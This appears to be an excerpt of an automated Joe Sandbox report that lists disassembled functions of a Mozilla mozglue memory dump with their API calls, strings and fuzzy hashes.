Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

ntdll.dll, xrefs: 6C607603
NtUnmapViewOfSection, xrefs: 6C607621

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5F27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F289A
free.MOZGLUE(?,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F2910
free.MOZGLUE(00000001,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F294E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction ID: bf0f97ffe9af2523b645ed8506169aaf78dee140e16a178df6ecb71f315f4a7b
Opcode Fuzzy Hash: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction Fuzzy Hash: 7941CEF1A002468BEB18CF68DC8436A77F6AB45308F244929D566EB740E731E946CF92

Function 6C5ACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5AD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5AD139

Strings

MOZ_CRASH(), xrefs: 6C5AD187

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction ID: 369405952f0bc1f4f4d222e6460ad6f6a41bac1ebe5f3cc108a06a2e287e30c3
Opcode Fuzzy Hash: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction Fuzzy Hash: 7241AE31B402168FDB04DEBE8CD03AE76A4EB49750F140139EE58E7784E7A998018BC9

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C60A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770), ref: 6C60A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A87B

Part of subcall function 6C60A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C60A88F,00000000), ref: 6C60A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C60A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A90C
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A97E

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction ID: e8bf8b976c3cfef6700ccf7d4327f7eafff02a508b5e6acea714a64f3b2707c6
Opcode Fuzzy Hash: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction Fuzzy Hash: B241B2B0E006049FDB04DFA8D885BDEB770FF05324F108629E826AB791D7359945CB99

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C5AB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5AB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5AB849

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction ID: 44f6ea9aa3b6b0ed744e977f3b043ce96f4f9c6e6e11de465efe0d2389698f9c
Opcode Fuzzy Hash: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction Fuzzy Hash: 7B212BB0E002099FDF04DFAAC8855BEBBB4EF49214F148129E946A7341E735A945CBE5

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C605850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C60586C
CloseHandle.KERNEL32 ref: 6C605878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C605898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6058C9
free.MOZGLUE(00000000), ref: 6C6058D3

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction ID: a91781077a846e528fc7ac4c51e302180126b6901843f745e1d058c11bf6d16c
Opcode Fuzzy Hash: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction Fuzzy Hash: CB014F717041219BDF00DF17D9886467BB8FBA3329F244276E91AF2210D73998158F8F

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
